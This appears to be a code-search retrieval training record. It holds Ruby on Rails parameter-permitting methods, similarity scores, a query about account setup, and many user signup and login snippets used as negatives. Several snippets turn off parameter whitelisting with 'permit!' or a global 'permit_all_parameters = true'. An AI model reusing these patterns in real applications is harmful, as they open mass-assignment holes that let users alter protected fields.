"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Function used to ask users about setting up his account.
|
def Setup(oCloudObj, sAccountName = nil)
return nil if not oCloudObj or not @oCoreObject
@oCoreObject.Setup(oCloudObj, sAccountName)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sign_up_helper\n username = prompt.ask(\"Enter Username\")\n while User.find_by(name: username.downcase)\n puts \"This username is already taken, please create a different username\"\n username = prompt.ask(\"Enter Username\")\n end\n password = prompt.ask(\"Enter Password\")\n self.user = User.create(name: username, password: password)\n puts \"Sign up complete.\"\n sleep(0.8)\n puts \"Let's Get Cookin #{self.user.name.upcase}!!!\"\n sleep(1.5)\n main_menu\n end",
"def sign_up\n opt_sign_up = @@prompt.select(\"Would you like to sign-up, log-in or exit\", %W(sign-up log-in exit))\n case opt_sign_up\n when \"sign-up\"\n system(\"clear\")\n get_useranme\n get_password\n get_account\n confirm_account\n when \"log-in\"\n system(\"clear\")\n log_in\n when \"exit\"\n greet = Greet.new\n system(\"clear\")\n greet.bye_msg\n exit\n end\n end",
"def account_creation\n\n username = prompt.ask(\"Choose a username!\\n\")\n while User.find_by(username: username) || username == \"\"\n puts \"Username taken - please try another\\n\"\n username = prompt.ask(\"Choose a username!\\n\")\n end\n\n password = prompt.mask(\"Choose a password over 5 characters.\")\n while password.length < 5\n puts \"Password too short - must be over 5 characters long\"\n password = prompt.mask(\"Choose a password over 5 characters.\")\n end\n\n User.create(username: username, password: password)\n puts \"You may now log in! Returning to login page.\\n\"\n\n welcome\n\n end",
"def signup_greeting(user, mode = :normal_signup)\n @user = user\n @need_password = (mode == :free_money_signup)\n swapidy_sendmail :to => @user.email, :subject => \"Welcome to Swapidy\"\n end",
"def attemp_signup\n\n end",
"def signup_user(name=nil)\n if name.nil?\n puts \"Please enter your name to signup\"\n name = CLI.gets_with_quit\n end\n if self.user_exists(name)\n message = \"Sorry that name is already taken :(\"\n options = [ \"Go To Login\", \"Try Again\", \"Back to Main Menu\"]\n choice = PROMPT.select(message, options)\n case options.index(choice)\n when 0 then self.login_user\n when 1 then self.signup_user\n when 2 then CLI.start\n end\n else\n password = PROMPT.mask(\"Enter your password:\")\n user = User.create(name: name)\n user.set_password = password\n CLI.active_user = user\n end\n end",
"def user_create\n # Users.destroy_all\n name_input = @prompt.ask(\"What is your name?\")\n username_input = @prompt.ask(\"What is your desired Username?\")\n location_input = @prompt.ask(\"What is your location? example: \\\"NY\\\"\")\n password_input = @prompt.ask(\"What is your password?\")\n @user = User.create(name: name_input, state: location_input, password: password_input, username: username_input)\n puts \"Congratulations! You created an account!\"\n user_menu_runner\n # Initialize user menu methods here\n end",
"def create_account\n system 'clear'\n puts \"--------LOGIN--------\"\n used_flag = false\n while !used_flag\n new_user = @prompt.ask(\"Enter username: \", required: true)\n if !User.all.map(&:name).include?(new_user)\n new_password = @prompt.mask(\"Enter password: \", required: true)\n used_flag = 1\n else\n puts \"Username already taken\"\n end\n end\n @current_user = User.create(name: new_user, password: new_password)\n main_menu\n end",
"def signup\n end",
"def signup\n end",
"def create_account\n set_user\n set_payer\n set_user_sport\n save_account\n end",
"def sign_up_users(first_name, last_name, email, password)\n find_by_id('com.yelp.android:id/first_name').send_key first_name\n find_by_id('com.yelp.android:id/last_name').send_key last_name\n find_by_id('com.yelp.android:id/email_address').send_key email\n find_by_id('com.yelp.android:id/password').send_key password\n find_name('Gender')\n find_name('Male')\n end",
"def create_account\n puts \"\\nWhat would you like your username to be?\"\n new_user = gets.chomp\n @user = User.create(name: new_user)\n\n puts \"\\nWelcome #{@user.name}! What's your favorite sport?\"\n sport = gets.chomp\n sport_found = Sport.find_by(name: sport)\n\n if sport_found != nil\n new_sub = Subscription.create(name: \"#{@user.name}'s #{sport_found.name} subscription\", sport_id: sport_found.id, user_id: @user.id)\n else\n puts \"\\nSorry, but we don't currently support subscriptions for #{sport}.\"\n end\n end",
"def ask\r\n WelcomeClass.select_tenant\r\n end",
"def signup(user_that_just_signed_up)\n mail to: user_that_just_signed_up.email,\n subject: \"You signed up for YardSale\"\n end",
"def requires_user_existence!\n if not e.user_exists?\n error \"You have to setup your user before you can perform this action.\"\n exit\n end\n end",
"def new_user_setup\n \t@person = Person.find(:first, :conditions => {:email_address => params[:email_address]})\n \tif @person.nil?\n \t\tflash[:error] = \"Invalid Email Address.\"\n \t\tredirect_to :action => 'register'\n\t\telsif !@person.password_hash.blank?\n \t\tflash[:error] = \"Your account has already been set up. See the system administrator for help logging in.\"\n \t\tredirect_to :action => 'index'\n \telsif params[:password] != params[:password_confirm]\n \t\tflash[:error] = \"Passwords don't match. Please try again.\"\n \t\tredirect_to :action => 'register'\n \telse\n \t\t@person.password = params[:password]\n \t\t@person.save!\n \t\tredirect_to home_url(@person)\n \tend\n end",
"def signup_info\n end",
"def get_useranme\n status = true\n while status == true\n @username = @@prompt.ask(\"Create a username:\")\n question = @@prompt.select(\"you created #{@username}, are you sure?\") do |opt|\n opt.choice \"Yes\"\n opt.choice \"No\"\n end\n if question == \"Yes\"\n status = false\n break\n system(\"clear\")\n else question == \"No\"\n status = true\n end\n end\n end",
"def do_signup\n hobo_do_signup do\n if this.errors.blank?\n #flash[:notice] << \"You must activate your account before you can log in. Please check your email.\"\n flash[:notice] << \" Your account has been created.\"\n\n # FIXME: remove these two lines after you get email working reliably\n # and before your application leaves its sandbox...\n #secret_path = user_activate_path :id=>this.id, :key => this.lifecycle.key\n #flash[:notice] << \"The 'secret' link that was just emailed was: <a id='activation-link' href='#{secret_path}'>#{secret_path}</a>.\"\n else\n flash[:notice] = @this.errors.full_messages.join(\"<br/>\")\n logger.info \"error is \" + flash[:notice]\n end\n\n end\n end",
"def login_signup\n customer_username = $prompt.ask(\"Username:\", value: \"\")\n @customer = User.find_or_create_by(username: customer_username)\nend",
"def signup\n client.signup(\n params[:user],\n params[:password]\n )\n end",
"def sign_up\n self.sign_up_link\n CreateNewAccount.new @browser\n end",
"def signup\n\n\t\temail = params[:email] # Extract the email from the params of the signup form\n\t\ttimezone = params[:timezone] # Extract the timezone from the params of the signup form\n\n\t\t@url = uniqueUrlKeyGenerator # Generate a unique url key\n\t\told_user = User.find_by_email(email)\n\n\t\t# If user exists\n\t\tif !old_user.nil?\n\t\t # If user is not registered\n\t\t if !old_user.registered?\n\t\t # Send welcome email again and save him\n\t\t old_user.sendWelcomeEmail\n\t\t old_user.save\n\t\t end\n\t\tend\n\n\t\t# Find the user in the user db with the same email as extracted in the params\n\t\tcheck_users = User.find_by_email(email)\n\n\t\t#create a new PotentialUser object with the extarcted email, timezone and url key\n\t\tuser = User.new(email: email, url: @url, timezone: timezone, day: 1, registered: false)\n\n\t\t# If no such user exists\n\t\tif check_users.nil?\n\n\t\t#If the new user is valid and can be saved\n\t\t if user.save\n\t\t user.sendWelcomeEmail\n\t\t @title = \"Thank you for signing up\"\n\t\t @result = \"A confirmation email with instructions has been sent to you\"\n\t\t @result2 = \"Your unique access key is: \" + @url\n\n\t\t#If not valid\n\t\t else\n\t\t #Set @result as the error message\n\t\t @title = \"Looks like something went wrong ...\"\n\t\t @result = \"Email #{user.errors[:email][0]}.\".html_safe\n\t\t end\n\n\t\t#User by this email already exists\n\t\telse\n\n\t\t if !check_users.registered?\n\t\t\t # Result instance variable for the view\n\t\t\t @title = \"Looks like something went wrong ...\"\n\t\t\t @result = \"User by this email already exists, but we sent another confirmation email just in case\"\n\t\t\t else\n\t\t\t @title = \"Looks like something went wrong ...\"\n\t\t\t @result = \"User by this email already exists\"\n\t\t end\n\n\tend\n\n\t\t# Respond to only javascript, set for AJAX\n\t\trespond_to do |format|\n\t\t\tformat.js\n\t\tend\n\tend",
"def ask_credentials\n self.email = cli.prompt \"Your Pivotal Tracker email: \"\n self.password = cli.prompt_secret \"Your Pivotal Tracker password (never stored): \"\n end",
"def ensure_freckle_set_up\n case current_user.establish_freckle_connection\n when :field_missing\n flash[:alert] = 'Please set up your Freckle account'\n redirect_to account_settings_path\n when :invalid_email\n flash[:alert] = 'No user found with Freckle email address'\n redirect_to account_settings_path\n when :invalid_api_token\n flash[:alert] = 'Invalid API token'\n redirect_to account_settings_path\n end\n end",
"def sign_up_new_user\n user = User.make\n visit \"/\"\n find('#join_now_link').click\n click_link 'Sign up with Email'\n fill_in 'Full name', with: user.full_name\n fill_in 'Email', with: user.email\n find('#user_password').set user.password\n find('#user_password_confirmation').set user.password\n click_button 'Sign up'\n user\nend",
"def mts_hello\n puts \"Hello! Welcome to the Millennial Translation Service. Please enter your name.\".colorize(:light_green)\n\n name = gets.chomp.capitalize\n # take the name and search to see if they have an account\n if User.exists?(user_name: name) # if returning user, display options, User.find_user returns the object if found\n puts \"Welcome back, #{name.capitalize}!\".colorize(:light_green)\n mts_step_one(name)\n else # if the user is new, create a new user\n puts \"This is the first time we have seen you, #{name.capitalize.underline}. Let's show you around.\".colorize(:light_green)\n User.create(user_name: name)\n new_user_orientation(name)\n end\nend",
"def create_account\n\n end",
"def signup\r\n\t@title = \"Sign Up\"\r\n end",
"def sign_up\n puts \"What's your username\"\n username = gets.chomp\n puts \"What's your password\"\n password = gets.chomp\n puts \"Confirm the password\"\n password_confirmation = gets.chomp\n \nend",
"def meetup_auto_create_account?\n self.meetup_auto_create_account\n end",
"def get_user_info\n system(\"clear\")\n puts \"Thank you for choosing the Bank of Hamish for all your banking needs.\"\n puts\n puts \"Please enter your first name. \"\n @first_name = gets.chomp.capitalize\n puts\n puts \"Lovely to meet you, #{@first_name}.\"\n sleep(3)\n system(\"clear\")\n puts \"Please select a username.\"\n puts \"This must be a unique name, so try think of something special.\"\n @username = gets.chomp.downcase\n new_user?\n puts\n puts \"Good selection. Your username is #{@username}\"\n sleep(3)\n system(\"clear\")\n puts \"Ok #{@first_name}, last bit of information we need from you is a password.\"\n puts \"Make this something thats easy to remember!\"\n @password = gets.chomp\n puts \n puts \"Awesome! You're all signed up #{@first_name}!\"\n puts \"Next time you enter the app, you can chose 'returning user' and login using #{@username} and your password.\"\n sleep(5)\n @balance = 0.00\n create_new_user\n end",
"def setup_user(input)\n # Create user\n ctx[:model] = User::CreationService.create(input[:params], otp_timestamp: ctx[:otp_timestamp])\n ctx[:model] ? Success(ctx[:model]) : Failure(ErrorService.bad_request_fail(message: 'Error setting up user'))\n end",
"def create\n #to avoid unwanted/unsafe requests we replace params[:user]\n @user = User.new(user_params)\n if @user.save\n # =WANT THEM TO ACTIVATE ACCOUNT FIRST\n @user.send_activation_email\n flash[:info] = \"Please check your email to activate your account.\"\n redirect_to root_url\n #logs in a user after they make account\n # log_in(@user)\n # flash[:success] = \"Welcome to Twitter Clone!\"\n #redirect_to @user\n else\n render 'new'\n end\n end",
"def signup_confirmation user\n @user = user\n mail to: user.email, subject: \"Welcome to the Clone\"\n end",
"def new_signup(user, email)\n @greeting = \"Hi\"\n @user = user\n @email = email\n mail to: @email, subject: \"Your Account has been created on blogApp\"\n end",
"def setup_user\n login_as(User.where(email: 'masterchef@cookbook.com').first, scope: :user)\n end",
"def client_sign_up\n\n end",
"def sign_up(resource_name, resource)\n true\n end",
"def create_account\n puts \"\"\n puts \"Let's create your account!\"\n puts \"\"\n name = @prompt.ask(\"What's your name?\")\n email = @prompt.ask(\"What's your email?\")\n password = @prompt.mask(\"Please create a password:\".green)\n password_reenter = @prompt.mask(\"Please confirm your password:\".green)\n if password == password_reenter\n @user = User.new(name: name.titleize.strip, email: email, password: password)\n @user.save\n sleep(2)\n puts \"\"\n puts \"Thanks for creating your account.\".blue\n puts \"\"\n sleep(1)\n start_menu\n else\n puts \"The passwords do not match.\".red\n password = @prompt.mask(\"Please reenter your password:\".red)\n password_reenter = @prompt.mask(\"Please confirm your password:\")\n if password == password_reenter\n @user = User.new(name: name.titleize.strip, email: email, password: password)\n @user.save\n sleep(2)\n puts \"\"\n puts \"Thanks for creating an account.\".blue\n puts \"\"\n sleep(1)\n start_menu\n else\n puts \"\"\n puts \"The passwords do not match.\".red\n puts \"Please try again later.\".red\n system exit\n end\n end\nend",
"def signed_up(user)\n @user = user\n \n mail to: @user.email, subject: 'Sign Up Confirmation.'\n end",
"def sign_up\n prompt = prompt_instance\n balance = 250\n streak = 0\n username, password = get_user_details\n username_taken = find_username(username)\n if username_taken == false \n $users.push([username, password, balance, streak])\n else\n system('clear')\n prompt.select(\"The username you have entered already exists. Please try again\") do |menu|\n menu.choice \"TRY AGAIN\", -> {sign_up}\n menu.choice \"BACK TO MENU\".colorize(:red), ->{start_menu}\n end\n end\n login_menu\nend",
"def signup_confirmation(user_name, user_email)\n @user_name = user_name\n @user_email = user_email\n mail to: user_email, subject: \"Dum dum de dum... get started with Bridled!\"\n end",
"def ask_for_creds(user=nil)\n if user\n @username = user\n else\n print \"Enter your GApps email address: \"\n @username = gets.chomp.strip.downcase \n # using highline for input on more than one run of a loop causes intermittent errors\n # in Ruby 1.8.7 on Mac OS X 10.8 for some reason. Changed from the highline 'ask' below\n # to the 'print/gets' above.\n #@username = ask(\"Enter your GApps email address: \").strip.downcase if @username == nil\n end\n @password = ask(\"Enter your password: \") { |q| q.echo = \"x\" }\n end",
"def create_new_imdb_account\n CommonHelper.wait_for_element_to_present(SIGN_IN_BTN, :xpath)\n page.find(:xpath,SIGN_IN_BTN).click\n CommonHelper.wait_for_element_to_present(CREATE_NEW_ACCOUNT_BTN, :xpath)\n page.find(:xpath,CREATE_NEW_ACCOUNT_BTN).click\n user_name = \"QA#{Time.now.to_i}\"\n CommonHelper.wait_for_element_to_present(YOUR_NAME_INPUT)\n page.find(YOUR_NAME_INPUT).set user_name\n page.find(EMAIL_INPUT).set \"#{user_name}@gmail.com\"\n page.find(PASSWORD_INPUT).set \"Pass_#{user_name}\"\n page.find(PASSWORD_RECHECK_INPUT).set \"Pass_#{user_name}\"\n page.find(CREATE_IMDB_ACCOUNT_BTN).click\n user_name\n end",
"def sign_up_with(**args)\n email = args.fetch(:email, 'john.rambo@test.com')\n password = args.fetch(:password, '12345678')\n password_confirmation = args.fetch(:password_confirmation, '12345678')\n\n within '#new_user' do\n fill_in 'Email', with: email\n fill_in 'Password', with: password\n fill_in 'Password confirmation', with: password_confirmation\n click_on 'Sign up'\n end\n end",
"def signup_user(options = {})\n options[:email] = options[:email] || $settings.customer_service_email\n options[:password] = options[:password] || 'foobar'\n\n # signup\n json = post_api '/api/session/signup', {\n 'email' => options[:email],\n 'password' => options[:password],\n 'name' => options[:email].split('@')[0]\n }\n assert_equal 200, json['status'], json['message']\n\n login_user(options) unless options[:skip_login]\n end",
"def createnewuser_prompt\n header\n puts \"\\n\\nPlease enter a username.\\n\"\n self.createnewuser_input = STDIN.gets.strip\n self.createnewuser_valid?\nend",
"def sign_up(resource_name, resource)\n true\n end",
"def sign_up(resource_name, resource)\n true\n end",
"def my_account(user)\n router = nil\n message = []\n # base options\n options = [\n [\"Change Name\", 12],\n [\"Delete Account\", 7],\n [\"Log Out\", 4],\n [\"Main Menu\", 2],\n [\"Exit\", 1]\n ]\n # display loop until validated choice\n until router\n display_menu_header([\"My Account:\"], user)\n router = display_options_menu(options, message)\n message = [\"Sorry, invalid selection. Please choose again...\"]\n end\n menu_routing(user, \"\", router)\nend",
"def ask_pref(preference, prompt)\n prefs[preference] = ask_wizard(prompt)\nend",
"def paid_signup(user)\n DelayedKiss.alias(user.full_name, user.email)\n DelayedKiss.record(user.email, 'Sent Paid Signup Email')\n @user = user\n mail to: user.email, subject: \"You've Upgraded to our Business Pro plan!\"\n end",
"def sign_up(resource_name, resource)\n end",
"def find_or_create_user\n name = @prompt.ask(\"What's your name?: \")\n @user = Fan.find_or_create_by(name: name)\n end",
"def sign_up\n puts \"What's your username\"\n username = gets.chomp\n puts \"What's your password\"\n password = gets.chomp\n \nend",
"def new_account(user)\n @user = user\n @user_name = @user.full_name\n @user_email = @user.email\n\n mail(to: @user.email, subject: 'Welcome to the jungle')\n end",
"def candidate_sign_up\n\n end",
"def greet\n puts 'Welcome to the school review app, the best resource for school information in the world!'\n @prompt.select(\"Are you a returning user or a new user?\") do |menu|\n menu.choice \"Returning User\", -> { User.handle_returning_user }\n menu.choice \"New User\", -> { User.handle_new_user }\n end\n end",
"def create_new_user\n puts \"\"\n puts Rainbow(\"*\").blue * 70\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"Tell us a little about yourself. It will only take a moment.\"\n puts \"\"\n puts \"What is your name?\"\n puts \"\"\n new_user_full_name = gets.strip\n self.quit if new_user_full_name == \"quit\"\n puts \"\"\n puts Rainbow(\"*\").blue * 70\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"Is there something you'd like to be called, other than your first name?\"\n puts \"\"\n puts \" 1. Yes\"\n puts \" 2. No\"\n puts \"\"\n nick_name = gets.strip\n if nick_name == \"1\"\n puts \"\"\n puts Rainbow(\"*\").blue * 70\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"What would you like us to call you? (In other words, what is your nickname?)\"\n puts \"\"\n new_user_nickname = gets.chomp.split.map(&:capitalize).join(' ')\n User.name_search_and_greeting_new(new_user_full_name, new_user_nickname, self)\n elsif nick_name == \"2\"\n User.name_search_and_greeting_new(new_user_full_name, nil, self)\n user_name_array = new_user_full_name.split(\" \")\n elsif nick_name == \"quit\"\n self.quit\n end\n self.where_are_you_at?\n end",
"def free_signup(user)\n @user = user\n add_user_to_marketing_list(user)\n DelayedKiss.alias(user.full_name, user.email)\n DelayedKiss.record(user.email, 'Sent Free Signup Email')\n DelayedKiss.record(user.email, 'Subscribed to Newsletter', {'Newsletter Name' => \"GV Free 5 Alerts Plan List\"})\n mail to: user.email, subject: \"Thanks for signing up to Grapevine's Free Forever plan!\"\n end",
"def create_accounts\n end",
"def create_user\n puts \"Whats your name?\"\n name = gets.chomp\n puts \"Where would you like to go?\"\n destination = gets.chomp\n puts \"How long would you like to stay?\"\n duration = gets.chomp.to_i\n @user = User.new(name, destination, duration)\n # provide the interface asking for name, destination and duration\n # then, create and store the User object\n end",
"def sign_up\n NexaasID::Resources::SignUp.new(api_token, config)\n end",
"def signup!(user, prompt, &block)\n return save(true, &block) if openid_complete?\n return signup_as_invitee!(user, prompt, &block) if user and user[:invitation_id]\n signup_without_credentials!(user, &block)\n end",
"def signup!(user, prompt, &block)\n return save(true, &block) if openid_complete?\n return signup_as_invitee!(user, prompt, &block) if user and user[:invitation_id]\n signup_without_credentials!(user, &block)\n end",
"def create\n _user_not_anonymous\n @user = CwaIpaUser.new\n @project = Project.find(Redmine::Cwa.project_id)\n\n if !params[:saa] \n flash[:error] = \"Please indicate that you accept the system access agreement\"\n redirect_to :action => :index\n return\n end\n\n if !params[:tos]\n flash[:error] = \"Please indicate that you accept the terms of service\"\n redirect_to :action => :index\n return\n end\n\n # TODO \n # 1. Call REST to messaging service to notify about account creation\n # 2. Add user to research-computing project\n @user.passwd = params['netid_password']\n\n begin\n @user.create\n rescue Exception => e\n flash[:error] = \"Registration failed: \" + e.to_s\n else\n logger.info \"Account #{@user.uid.first} provisioned in FreeIPA\"\n\n # Add them to the project... allows notifications\n @project.members << Member.new(:user => User.current, :roles => [Role.find_by_name(\"Watcher\")])\n\n CwaMailer.activation(@user).deliver\n\n flash[:notice] = 'You are now successfully registered!'\n end\n redirect_to :action => :index\n end",
"def account_setup_reminder(user)\n setup_email(user)\n \n @subject = subject_from_sym :account_setup_reminder\n @body[:name] = user.full_name\n @body[:setup_url] = account_setup_url(:id => user.perishable_token, :ref => 'asr1')\n \n add_category_header \"Account Setup Reminder\"\n end",
"def create_user_information # for new users. runs last according to rails.\n self.dj_name = name\n self.roles = Role.where(:title => 'noob')\n self.active = true\n set_password\n end",
"def user_settings\n\n prompt.select (\"Choose an option\") do |menu|\n menu.choice \"Delete account\", -> {\n answer = prompt.yes? (\"Are you sure?\")\n if answer \n User.find(user_id).delete_account \n user_id = nil \n welcome\n else\n puts \"Glad you're staying\" \n user_settings\n end\n }\n\n menu.choice \"Change Password\\n\", -> {\n\n password = prompt.mask(\"Enter your current password:\")\n while User.find(user_id).password != password\n puts \"Invalid password - please try again.\"\n password = prompt.mask(\"Enter your current password:\")\n end\n\n password = prompt.mask(\"Choose a new password over 5 characters.\")\n while password.length < 5\n puts \"Password too short - must be over 5 characters long\"\n password = prompt.mask(\"Choose a new password over 5 characters.\")\n end\n\n User.find(user_id).change_password(password)\n user_settings\n }\n\n menu.choice \"Return to threads\", -> {show_threads}\n end \n\n end",
"def sign_up( data )\n\n # assert url starts with 'https://listings.expressupdateusa.com/Account/Register'\n puts 'Signing up with email: ' + data[ 'personal_email' ]\n\n @browser.goto 'https://listings.expressupdateusa.com/Account/Register'\n\n @browser.text_field(:id => 'Email').set data['email']\n @browser.text_field(:id => 'Password').set data['password']\n @browser.text_field(:id => 'ConfirmPassword').set data['password']\n @browser.text_field(:id => 'Phone').set data['phone']\n @browser.text_field(:id => 'BusinessName').set data['business_name']\n @browser.text_field(:id => 'FirstName').set data['firstname']\n @browser.text_field(:id => 'LastName').set data['lastname']\n @browser.select_list(:id => 'State').select data['state']\n @browser.checkbox(:id => 'DoesAcceptTerms').set\n\n\nenter_captcha\n\n@browser.button(:class => 'RegisterNowButton').click\n\n # If no return URl then 'Thank You for Registering with Express Update. An activation email sent!'\n\nself.save_account(\"Expressupdateusa\", { :email => data['personal_email'], :password => data['password']})\n\n\nif @chained\n self.start(\"Expressupdateusa/Verify\")\nend\n\n\ntrue \nend",
"def create_cleaner_account_confirmation(account)\n\t\t@first_name = account.first_name\n\t\t@last_name = account.last_name\n\t\t@email = account.email\n\n mail(:to => \"tom@cleanjay.ca\", :subject => \"New Cleaner Signup!\")\n end",
"def user_sign_in\n clear\n puts 'Create new user.'\n puts 'Enter [0] to exit'\n print 'Username*: '\n in_uname = non_blank_input\n return if in_uname == '0'\n\n print 'Password*: '\n in_psw = non_blank_input\n return if in_psw == '0'\n\n print 'Name*: '\n in_name = non_blank_input\n return if in_name == '0'\n\n print 'Surname*: '\n in_surname = non_blank_input\n return if in_surname == '0'\n\n print 'Email*: '\n in_email = non_blank_input\n return if in_email == '0'\n\n print 'Phone: '\n in_phone = gets.chomp\n return if in_phone == '0'\n\n role_input = role_option('New account role:')\n if role_input == '1'\n teacher_sign_in(in_uname, in_psw, in_name, in_surname, in_email, in_phone)\n elsif role_input == '2'\n student_sign_in(in_uname, in_psw, in_name, in_surname, in_email, in_phone)\n elsif role_input == '0'\n return\n end\nend",
"def setup \n \t@user = User.create(email: 'example@mail.com', password: '123456789', \n \t\tpassword_confirmation: '123456789')\n \t@request.env[\"devise.mapping\"] = Devise.mappings[:user]\n \t@user1 = users(:one)\n \t@user1.account = accounts(:one)\n end",
"def sign_up(resource_name, resource)\r\n # Create an account for this user.\r\n account = Account.create(name: \"#{resource.email}'s account\")\r\n \r\n # Sign in the user (from the original Devise::RegistrationsController).\r\n sign_in(resource_name, resource)\r\n end",
"def items_menu_prompt(**)\n 'Select an EMMA user account' # TODO: I18n\n end",
"def handle_new_user \n system \"clear\" \n CoffeeMan.stay_logo\n username = @prompt.ask(\"Create a username\", required: true) \n #check if new username already exists\n if User.all.map(&:username).include?(username)\n puts 'This username already exist'\n sleep 5 / 2\n system \"clear\"\n sleep 1\n #redirect to log in option method\n CoffeeMan.stay_logo\n self.log_in\n else\n #if new username doesn't exist, create a new password\n password = @prompt.mask(\"Create a password\", required: true) \n end \n #after everything, create a new user instance \n @userid = User.create(username: username, password: password) \n main_menu\nend",
"def sign_up(user)\n visit '/users/new'\n # expect(page.status_code).to eq 200\n fill_in :email, with: user.email\n fill_in :username, with: user.username\n fill_in :password, with: user.password\n fill_in :password_confirmation, with: user.password_confirmation\n click_button 'Sign up'\n end",
"def prompt_for_user_password!\n e.execute_as_user('')\n end",
"def signup_with_email\n @status, @msg, @data = UserValidator.signup_with_email(params)\n @status, @msg, @data = UserManager.signup_with_email(params) if @status\n end",
"def signed_up(user)\n @user = user\n\n mail to: user.email\n end",
"def sign_up(useremail, password)\n if new_user_available(useremail)\n query = \"INSERT INTO Users (useremail, password) VALUES('#{useremail}', '#{password}')\"\n @connection.exec(query)\n end\n end",
"def complete_signup\n if self.habitats_count < 1\n self.errors.add(:habitats, \"User not done if they don't have a habitat\")\n false\n else\n self.completed_signup_at ||= Time.now\n if self.save\n self.generate_confirmation_token!\n enqueue_welcome_email\n true\n else\n false\n end\n end\n end",
"def new_user_signed_up _user, _request\n @user = _user\n @request_info = build_request_info(_request)\n @domain = Settings.fetch(:app,:hostname)\n mail(\n to: Settings.fetch(:app,:admin_notification_email),\n subject: \"New user created at #{@domain}\"\n )\n end",
"def koala_auto_create_account?\n self.koala_auto_create_account\n end",
"def setup_email_account\n email_accounts.create!(email: email, primary: true, confirmed: !confirmed_at.blank?)\n end",
"def name_confirmation\n puts \"Been here before? (y/n)\"\n user_response = gets.chomp.downcase\n system \"clear\" \n if user_response == \"y\"\n find_user\n elsif user_response == \"n\"\n create_user\n else\n name_confirmation\n end\n end",
"def send_signup_email()\n\n\t# @user = user\n\tmail( :to => 'ahmedwael2002@gmail.com',\n\t\t :subject => '!Thanks for signing up')\n \nend",
"def existing_user\n puts \"Please Enter Username\"\n username = gets.chomp\n puts \"Please Enter Password\"\n password = gets.chomp\n unless $customer = Customer.find_by(\n username: username,\n password: password\n )\n puts 'Sorry, username and/or password combination not valid. Please try again'\n process_login\n end\n main_menu($customer)\n end",
"def create\n logout_keeping_session!\n\n\t\t# create a new user with the parameters provided\n @user = User.new(params[:user])\n\t\t\n\t\t# if creation of @user is successful and if it was written to the database successfully\n success = @user && @user.save\n\t\t\n\t\t# if success is TRUE and if there were no errors\n if success && @user.errors.empty?\n\t\t\t# redirect back and flash a pop up regarding successful creation \n redirect_back_or_default('/')\n gflash :success => \"Thanks for signing up! We're sending you an email with your activation code.\"\n else\n\t\t\t# else display pop up error and redirect back to the page\n gflash :error => \"We couldn't set up that account, sorry. Please try again, or contact an admin (link is above).\"\n render :action => 'new'\n end\n end",
"def open_user_account\n Account.create(user_id: self.id) \t\n end",
"def welcome\n system 'clear'\n puts \"--------LOGIN--------\"\n menu = [\"Login\", \"Create new user\"]\n choice = @prompt.select(\"\", menu)\n case choice\n when \"Login\"\n login\n when \"Create new user\"\n create_account\n end\n end",
"def create_account_options\n AccountOption.create!(:user => self)\n end",
